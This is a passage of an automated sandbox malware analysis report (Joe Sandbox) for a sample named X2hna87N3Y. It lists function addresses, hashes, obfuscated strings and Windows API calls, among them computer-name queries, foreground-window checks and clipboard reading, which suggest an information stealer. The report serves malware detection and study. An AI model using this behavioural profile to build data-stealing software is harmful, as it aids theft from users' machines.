Opcode Fuzzy Hash: a204f27aaeac8ada477e8f3fb69e99628460e46cea5074a9c6f9414710ce2bad
Instruction Fuzzy Hash: 05714FB5B447209BD714AB25EC9273F73A5DFC1314F98843EE9829B382E67C9C05835A

Function 0042B621 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 411
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0042B650
GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0042B721

Strings

74;2, xrefs: 0042B658

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: ComputerName
String ID: 74;2
API String ID: 3545744682-2613046512
Opcode ID: a3c95d1cae347bb82dce8e974d34056801db8078145ca8302a7a1107be973abc
Instruction ID: 4f06352ef8816ea675b9983930539fd211b23acf7a922de14625fc5bffaa1d73
Opcode Fuzzy Hash: a3c95d1cae347bb82dce8e974d34056801db8078145ca8302a7a1107be973abc
Instruction Fuzzy Hash: 83B1F3702047918FE7158F39D850732BFE2EFA6304F28859ED4D68B792C7799842CBA5

Function 0043A92F Relevance: 3.0, APIs: 2, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 0043A92F
GetForegroundWindow.USER32 ref: 0043A935

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 262ded6f0fc6756cb2a69c95e7e47d3379ab44c0c67f255a44d651c4b16913c6
Instruction ID: 1206cc42ca0957667e450426facbddbc2952e795b2ff34e2790f480194ce9914
Opcode Fuzzy Hash: 262ded6f0fc6756cb2a69c95e7e47d3379ab44c0c67f255a44d651c4b16913c6
Instruction Fuzzy Hash: 04C04C38561D40EFC6048F24FC5D5343726B705245310643AD413C63B6DB349809CA18

Function 00409A30 Relevance: 1.6, APIs: 1, Instructions: 68libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(E8A416A2,00000000,B6B58CB3), ref: 00409AEF

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 56dff4f8bcc4accb531d48fa8cc47d4cbedb4db9a90ea6a41831faa44498286f
Instruction ID: c6f9b6d51d577ba26e22898352ec388f61cbabad47315b0f0ea3d5a6b5670c14
Opcode Fuzzy Hash: 56dff4f8bcc4accb531d48fa8cc47d4cbedb4db9a90ea6a41831faa44498286f
Instruction Fuzzy Hash: A61106743983504BD3049FB5D8907ABBBD5DBE6304F18893EA2D16B391C27C94068B57

Function 00433961 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00433981

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: f3f87bbd72dc02260c30e3ae5b7116bffff979ed0794b041be2dba84b2d1c71b
Instruction ID: dc3a6c972a9b93b16ff27444efc03cb3ccca3178f3acdf7ef73c2ad5c9848447
Opcode Fuzzy Hash: f3f87bbd72dc02260c30e3ae5b7116bffff979ed0794b041be2dba84b2d1c71b
Instruction Fuzzy Hash: 2311CA32E086A68FCB15CF788D542ADBB725F86120F4983ADC8A9B73D5D5304946CB91

Function 00439D90 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,00000000,0040B357,00000000,00000001), ref: 00439DC2

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ddfad08af3818a3282c1be2e13e1813404b47d4e0b7dd71cdbd5fbf32133f5de
Instruction ID: a7f614b0da677e3024e6d14a98963a5d3270485aee8bd6adad4514946c06c77d
Opcode Fuzzy Hash: ddfad08af3818a3282c1be2e13e1813404b47d4e0b7dd71cdbd5fbf32133f5de
Instruction Fuzzy Hash: D9E02B36808211BBC7001F38BC07F5B3A64DF8B760F01483AF40096112EF79E801C59E

Function 00438570 Relevance: 1.5, APIs: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,?,00439DDB,?,0040B357,00000000,00000001), ref: 0043858E

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 4d27a9eb09a83c038c697b2d49ea1aef4cc9dc8f399a98f750e8c4bce1e860c2
Instruction ID: dc4db906ef4abdc6062e1ec96b6ffb3d7f96c39e0b630dcc26a530c02356fe47
Opcode Fuzzy Hash: 4d27a9eb09a83c038c697b2d49ea1aef4cc9dc8f399a98f750e8c4bce1e860c2
Instruction Fuzzy Hash: 02D0C935819622EFCA511F14FC0AB9A3B68EF0B33AF4648B5A504AB173C775DC508AD8

Function 0042D6A0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042D6E6

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 1bb015d751bccc7e1b65caa3d199434df52486843717f7038fd04ea52af1d71a
Instruction ID: 75aac33b15391c90e2742bf576256fc7d56d31493ce6768c953f00bc94e4aacc
Opcode Fuzzy Hash: 1bb015d751bccc7e1b65caa3d199434df52486843717f7038fd04ea52af1d71a
Instruction Fuzzy Hash: 61F06774508701DFD314DF68D5A8B1ABBF0FB89708F10481CE4968B3A0D7B5A949DF82

Function 0042EDE6 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042EE2A

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 55bbcebe619f4518c91a9bf09d85cc53cdbe2441480fe7ee5ab18dcae6a62715
Instruction ID: dd1717d23431f6f681abbaa4f2c49bd438863432c7c7db0f5c118dfe783689f4
Opcode Fuzzy Hash: 55bbcebe619f4518c91a9bf09d85cc53cdbe2441480fe7ee5ab18dcae6a62715
Instruction Fuzzy Hash: B4F062B450C3419FE314DF28C5A871BBBE0BB89348F11891DF4998B390C7BA9648DF86

Function 0040C900 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C913

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: a25ab9109f3d3541e02e38eafc44524233b353671a7f5019b2851014eed3edcb
Instruction ID: 37f0727ff88642b787521174195b22b3165ce90bd0762f1725373de6e61a95c3
Opcode Fuzzy Hash: a25ab9109f3d3541e02e38eafc44524233b353671a7f5019b2851014eed3edcb
Instruction Fuzzy Hash: 7DE02B31FA11041BE304672CDC0BF8A3A1E93C6360F088235A211C67E9E93CA856C159

Function 0040C93E Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C950

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: b00ed48d21e8d6b8f1fb8b63251f62e37b9ddfa6e67e49aec58d758fc7eb299c
Instruction ID: 1b92964ae9c8a0e0a6f749654b3c852f3ad484dfbff75f12e03543587c657db6
Opcode Fuzzy Hash: b00ed48d21e8d6b8f1fb8b63251f62e37b9ddfa6e67e49aec58d758fc7eb299c
Instruction Fuzzy Hash: E1E01735BC520067F7284608EC47F4422535382F21F3C8226B312FE7E8E9A8A001410C

Function 00438550 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00439DD0), ref: 00438560

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b1ada83ec4012304df24ae6854d180094443cd6a3481925689b5f910172c1123
Instruction ID: 00f352df6ed085bcf73a54b18d0cd417c1e8254c01ad145fbb60ffdf05646862
Opcode Fuzzy Hash: b1ada83ec4012304df24ae6854d180094443cd6a3481925689b5f910172c1123
Instruction Fuzzy Hash: 5AC09B31045120AFD5502B15FC05FC63F54DF55375F014055B14467172C761BC82C6DC

Non-executed Functions

Function 004303D0 Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 116clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004303E0
GetWindowLongW.USER32 ref: 00430405
GetClipboardData.USER32 ref: 00430415
GlobalLock.KERNEL32 ref: 0043042E
GlobalUnlock.KERNEL32 ref: 00430542
CloseClipboard.USER32 ref: 0043054D

Strings

., xrefs: 004304AA
j, xrefs: 0043048C
l, xrefs: 004304A0
c, xrefs: 00430496
\, xrefs: 0043049B
g, xrefs: 004304B9
z, xrefs: 004304B4
e, xrefs: 004304AF
[, xrefs: 004304A5
Y, xrefs: 00430491
`, xrefs: 00430487
d, xrefs: 00430482

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: .$Y$[$\$`$c$d$e$g$j$l$z
API String ID: 2832541153-2078725520
Opcode ID: b02562f9b126e923e6745480620a71e2c506461f439a6dc04addfcacb6fc504d
Instruction ID: 34ece6c18be3c3dc7650849af3ebc91d39a4b8b5f9aba95e03bd70d8208d34c8
Opcode Fuzzy Hash: b02562f9b126e923e6745480620a71e2c506461f439a6dc04addfcacb6fc504d
Instruction Fuzzy Hash: 8541A17150C7808ED300EF78D99835FBFE09B95314F088A3EE5D98A282D679855DCBA7

Function 00423249 Relevance: 24.8, Strings: 19, Instructions: 1046COMMON

Download Yara Rule

Strings

sF+X, xrefs: 004234FC
35, xrefs: 00423E5B
RST, xrefs: 004241D0
zz, xrefs: 00423634
NK, xrefs: 0042394E
79, xrefs: 00423E66
7(, xrefs: 00423FE1
*+, xrefs: 00423E9D
IC, xrefs: 00423959
q:s<, xrefs: 004234AF
{}, xrefs: 00423DC1
wBtD, xrefs: 004234F1
}r, xrefs: 00423629
MN, xrefs: 004242B2
i}, xrefs: 00423613
<>, xrefs: 00423FC6
^P, xrefs: 004241C8
V5, xrefs: 00423964
02, xrefs: 00423FCE

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: *+$7($IC$MN$NK$V5$i}$q:s<$sF+X$wBtD$zz$}r$02$35$79$<>$RST$^P${}
API String ID: 0-1770178174
Opcode ID: 06a3d6a823a9bfc3696c8ae16ace9e56210287fdb9f1687bb38651e152501e00
Instruction ID: bfa19e531ae2230c3e439caa4c7f29b2efdd26e24159ab1956b24a50d58d668d
Opcode Fuzzy Hash: 06a3d6a823a9bfc3696c8ae16ace9e56210287fdb9f1687bb38651e152501e00
Instruction Fuzzy Hash: 1FA262B560C3918BC334CF24D4417ABBBF2FBC2704F40892DE5D95B251E7759A4A8B8A

Function 004232C0 Relevance: 24.6, Strings: 19, Instructions: 860COMMON

Download Yara Rule

Strings

sF+X, xrefs: 004234FC
35, xrefs: 00423E5B
RST, xrefs: 004241D0
zz, xrefs: 00423634
NK, xrefs: 0042394E
79, xrefs: 00423E66
7(, xrefs: 00423FE1
*+, xrefs: 00423E9D
IC, xrefs: 00423959
q:s<, xrefs: 004234AF
{}, xrefs: 00423DC1
wBtD, xrefs: 004234F1
}r, xrefs: 00423629
MN, xrefs: 004242B2
i}, xrefs: 00423613
<>, xrefs: 00423FC6
^P, xrefs: 004241C8
V5, xrefs: 00423964
02, xrefs: 00423FCE

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: *+$7($IC$MN$NK$V5$i}$q:s<$sF+X$wBtD$zz$}r$02$35$79$<>$RST$^P${}
API String ID: 0-1770178174
Opcode ID: 5e72d88c3049cae1f9b57451ea9c476af6ad9d3158b4602070947b49a941448b
Instruction ID: 7a613edb201a7144dd42080cbd371573025cbb79147fe86f555ad8c126c2d898
Opcode Fuzzy Hash: 5e72d88c3049cae1f9b57451ea9c476af6ad9d3158b4602070947b49a941448b
Instruction Fuzzy Hash: 51824FB560C3918BD334CF14D441BABBBF2EBC2304F40892DE5D96B251D7759A4A8B8B

Function 00419210 Relevance: 17.1, APIs: 2, Strings: 7, Instructions: 1332COMMON

Download Yara Rule

APIs

Part of subcall function 00439DF0: LdrInitializeThunk.NTDLL(0043BEAB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 00439E1E

FreeLibrary.KERNEL32(?), ref: 004197CA
FreeLibrary.KERNEL32(?), ref: 0041984B

Strings

I,~M, xrefs: 0041A049
7F4X, xrefs: 0041961F
'V.h, xrefs: 0041963F
&Z%\, xrefs: 00419627
1B&D, xrefs: 00419617
<^+P, xrefs: 0041962F
ef, xrefs: 0041965F

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: &Z%\$'V.h$1B&D$7F4X$<^+P$I,~M$ef
API String ID: 764372645-3042980244
Opcode ID: b5cf74329583fb6dc28f109f741bad194bfc5361b5aff80978676ceb2c5dc174
Instruction ID: 4b32854c7adb2e36c83dc4de8b600ec710a23a622ab1c4226f67f038759c5c60
Opcode Fuzzy Hash: b5cf74329583fb6dc28f109f741bad194bfc5361b5aff80978676ceb2c5dc174
Instruction Fuzzy Hash: D9823A756093409BD715CF24C89076FBBD3AFD9704F28892DE4868B391E638EC85CB5A

Function 0040BAB0 Relevance: 11.4, Strings: 9, Instructions: 122COMMON

Download Yara Rule

Strings

A)O+, xrefs: 0040BABF
o1m3, xrefs: 0040BACF
4E{G, xrefs: 0040BAF7
W5P7, xrefs: 0040BAD7
K=a?, xrefs: 0040BAE7
K%M', xrefs: 0040BAB7
g9W;, xrefs: 0040BADF
"A;C, xrefs: 0040BAEF
HI, xrefs: 0040BAFF

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: "A;C$4E{G$A)O+$HI$K%M'$K=a?$W5P7$g9W;$o1m3
API String ID: 0-409907040
Opcode ID: dfbe12f6cf855b52727505a631966c4896db4082a266d60f67f7d3a36d6e034e
Instruction ID: f3beb451a55df6ef81444f5226d72f162fa03879b0bef2b86c1921b2ec460b48
Opcode Fuzzy Hash: dfbe12f6cf855b52727505a631966c4896db4082a266d60f67f7d3a36d6e034e
Instruction Fuzzy Hash: 4A3137769183508BD708DF24CC9122BB7B1EFD5350F0A893CE4C29B755E3388A05C78A

Function 0040BC3E Relevance: 11.4, Strings: 9, Instructions: 118COMMON

Download Yara Rule

Strings

W5P7, xrefs: 0040BC65
o1m3, xrefs: 0040BC5D
HI, xrefs: 0040BC8D
K%M', xrefs: 0040BC45
4E{G, xrefs: 0040BC85
A)O+, xrefs: 0040BC4D
g9W;, xrefs: 0040BC6D
K=a?, xrefs: 0040BC75
"A;C, xrefs: 0040BC7D

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: "A;C$4E{G$A)O+$HI$K%M'$K=a?$W5P7$g9W;$o1m3
API String ID: 0-409907040
Opcode ID: 8dc344fedd4e0d0243a31ff6f350895c444f5dee2a627dccb60d8db24d9f15fc
Instruction ID: 008ca852c5b5364f71a5bf04fffa82340e674bf844c2cc4081172530cf1ddf43
Opcode Fuzzy Hash: 8dc344fedd4e0d0243a31ff6f350895c444f5dee2a627dccb60d8db24d9f15fc
Instruction Fuzzy Hash: 7731357691C3948BD3148F14CC9022BBBA1EFD5710F0A8A2CE8C16B755E3788A01CB8A

Function 00416C91 Relevance: 10.8, Strings: 8, Instructions: 764COMMON

Download Yara Rule

Strings

"qA, xrefs: 0041703E, 0041710D
|G, xrefs: 00417362
+x, xrefs: 0041729A
F"Q$, xrefs: 00416CE8
A>Z0, xrefs: 00416D00
_.P , xrefs: 00416CE0
Y67H, xrefs: 00416D10
D&Z8, xrefs: 00416CF0

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: |G$"qA$+x$A>Z0$D&Z8$F"Q$$Y67H$_.P
API String ID: 0-3507257672
Opcode ID: a78423b1aa92a00a60e32b35e2b103679efca1386eb9b84e49937ba7d09d80ba
Instruction ID: e780818630244df4e0738c155b7ce0f43d14575b734267895fe9f7447747bd08
Opcode Fuzzy Hash: a78423b1aa92a00a60e32b35e2b103679efca1386eb9b84e49937ba7d09d80ba
Instruction Fuzzy Hash: 4C3239716083118BC324CF24C8D06ABB7F2EFC9354F198A2DE9C59B361E7789985C756

Function 00418F36 Relevance: 10.1, Strings: 8, Instructions: 88COMMON

Download Yara Rule

Strings

vuGO, xrefs: 00418F1E, 00418F22
GAv~, xrefs: 00418EB1
mpuv, xrefs: 00418EB9
vuGO, xrefs: 00418E7E, 00418E82
mpuv, xrefs: 00418E1E
~r, xrefs: 00418EC1
GAv~, xrefs: 00418E16
~r, xrefs: 00418E26

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: GAv~$GAv~$mpuv$mpuv$vuGO$vuGO$~r$~r
API String ID: 0-3198300620
Opcode ID: de6b9d48cb82764d41e673354b8639769d3e33e2457edd340b8ca72ce5df5bca
Instruction ID: 498bc63cd0788a0fa09f7b11f375181eb978baea08b83ba7137193302551c8b2
Opcode Fuzzy Hash: de6b9d48cb82764d41e673354b8639769d3e33e2457edd340b8ca72ce5df5bca
Instruction Fuzzy Hash: C5315A3592C3A08BD3408F25D84015BBBD1ABC5344F69862DFCD4AB3A4D9748940879F

Function 004275C0 Relevance: 9.3, Strings: 7, Instructions: 515COMMON

Download Yara Rule

Strings

EE}H, xrefs: 004278AD
flfc, xrefs: 00427895
6|tx, xrefs: 0042789D
ndnk, xrefs: 004278A5
A\, xrefs: 004278B5
&, xrefs: 004278BC
C], xrefs: 00427685

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: &$6|tx$A\$C]$EE}H$flfc$ndnk
API String ID: 0-2838787765
Opcode ID: 22cce4e556a79413b527edd0d19770c08411aa6b193af229ae3e0d5c5912b391
Instruction ID: 96fe208ec5adad25163823696c2573b3fe5d12c39b3c9f596b6d3037b357e5e3
Opcode Fuzzy Hash: 22cce4e556a79413b527edd0d19770c08411aa6b193af229ae3e0d5c5912b391
Instruction Fuzzy Hash: 5602EDB060C3409FD3109F28D89176BBBE2EFC2314F54482DE5C68B3A2E7399945CB5A

Function 004091B0 Relevance: 9.1, Strings: 7, Instructions: 382COMMON

Download Yara Rule

Strings

fa, xrefs: 00409316
^a[R, xrefs: 004091E9
[abZ, xrefs: 004091E1
I4, xrefs: 00409209
ZaX3, xrefs: 004092E1
=, xrefs: 0040931D
cAYo, xrefs: 004091D1

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: =$I4$ZaX3$[abZ$^a[R$cAYo$fa
API String ID: 0-4131729241
Opcode ID: 405195fbabe1a99b8fe7ce7e2eb3e03672651c921e0400c673a09164baca598c
Instruction ID: 9fb4c51dd36001abaa1e44a4867fa139af67d486df07941b5c6fb338e4f53a06
Opcode Fuzzy Hash: 405195fbabe1a99b8fe7ce7e2eb3e03672651c921e0400c673a09164baca598c
Instruction Fuzzy Hash: 3DB1E57160C3914BC3168F7984A076BFFE19FD7204F48897DE4D56B382D639890ACB9A

Function 00D9CD76 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,00000000,?,?,?,00D9C747,?,00000000), ref: 00D9CE0F
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,00000000,?,?,?,00D9C747,?,00000000), ref: 00D9CE38
GetACP.KERNEL32(?,?,00D9C747,?,00000000), ref: 00D9CE4D

Strings

ACP, xrefs: 00D9CD94
OCP, xrefs: 00D9CDCA

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 6f3e65b028d901b59b2e695b4eab03c167944b628aae05a44ee3feefb8fdaaaf
Instruction ID: 0fc6945f2c79d253734742c2b525c288fcfdee3babc7e08326dc03ef9e894f08
Opcode Fuzzy Hash: 6f3e65b028d901b59b2e695b4eab03c167944b628aae05a44ee3feefb8fdaaaf
Instruction Fuzzy Hash: 3221A122A60201EAEF359F64C900B9777A6EB54B64B5AA574F90BD7204F732DE41C3B0

Function 00D9C611 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 00D975D3: GetLastError.KERNEL32(00000000,?,00D999B2), ref: 00D975D7
Part of subcall function 00D975D3: SetLastError.KERNEL32(00000000,?,?,00000028,00D9412A), ref: 00D97679

GetUserDefaultLCID.KERNEL32 ref: 00D9C719
IsValidCodePage.KERNEL32(00000000), ref: 00D9C757
IsValidLocale.KERNEL32(?,00000001), ref: 00D9C76A
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00D9C7B2
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00D9C7CD

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 665bc5eaed21e9a4ca380d816de1657ad444bbad024384dabe4783436501a8b2
Instruction ID: e0c77f3c6ba1d87a115fe11664db45f6c3fad82092b2eec64910ad2103614469
Opcode Fuzzy Hash: 665bc5eaed21e9a4ca380d816de1657ad444bbad024384dabe4783436501a8b2
Instruction Fuzzy Hash: AA516D71A20205AFEF10EFA5CC81ABB77B8FF49700F485569E911E7291EB70D9048BB1

Function 0041D520 Relevance: 7.1, Strings: 5, Instructions: 867COMMON

Download Yara Rule

Strings

CE;F, xrefs: 0041D837
I@I9, xrefs: 0041D83F
=, xrefs: 0041DE82
a, xrefs: 0041DC07
Y-AE, xrefs: 0041D827

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: =$CE;F$I@I9$Y-AE$a
API String ID: 0-3389986099
Opcode ID: b5f0f7cb0e6ae96fff35c19959799b81b4123266052ccca757f0ce7cb59562df
Instruction ID: 7d8f140b44a49b6e2ef46ae00a622f98273c80f69ba2163a61e2a2a483065708
Opcode Fuzzy Hash: b5f0f7cb0e6ae96fff35c19959799b81b4123266052ccca757f0ce7cb59562df
Instruction Fuzzy Hash: 535258B490C3508FC725DF24C8407AFBBE1AF96314F08866EE8D55B392D7398946CB96

Function 00424F90 Relevance: 6.7, Strings: 5, Instructions: 465COMMON

Download Yara Rule

Strings

>+, xrefs: 00425057
"2, xrefs: 00425047
?+, xrefs: 0042504F
3-, xrefs: 0042503F
=?, xrefs: 00425155, 0042516D, 00425177

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: "2$3-$>+$?+$=?
API String ID: 0-2299533537
Opcode ID: 547dcb5cf7652dbbacdc4cb9f5e37e6dce14e9fb5fdc8f1e64ffa4f6896b99bb
Instruction ID: 1a799a2e98b600fa1da2e76793366819dd7b177f36baef7441702b602b875c71
Opcode Fuzzy Hash: 547dcb5cf7652dbbacdc4cb9f5e37e6dce14e9fb5fdc8f1e64ffa4f6896b99bb
Instruction Fuzzy Hash: 1EE112B4208340EFE724DF24E88176FB7A1FB86709F90582DE58597361EB38D945CB4A

Function 004095B0 Relevance: 6.6, Strings: 5, Instructions: 346COMMON

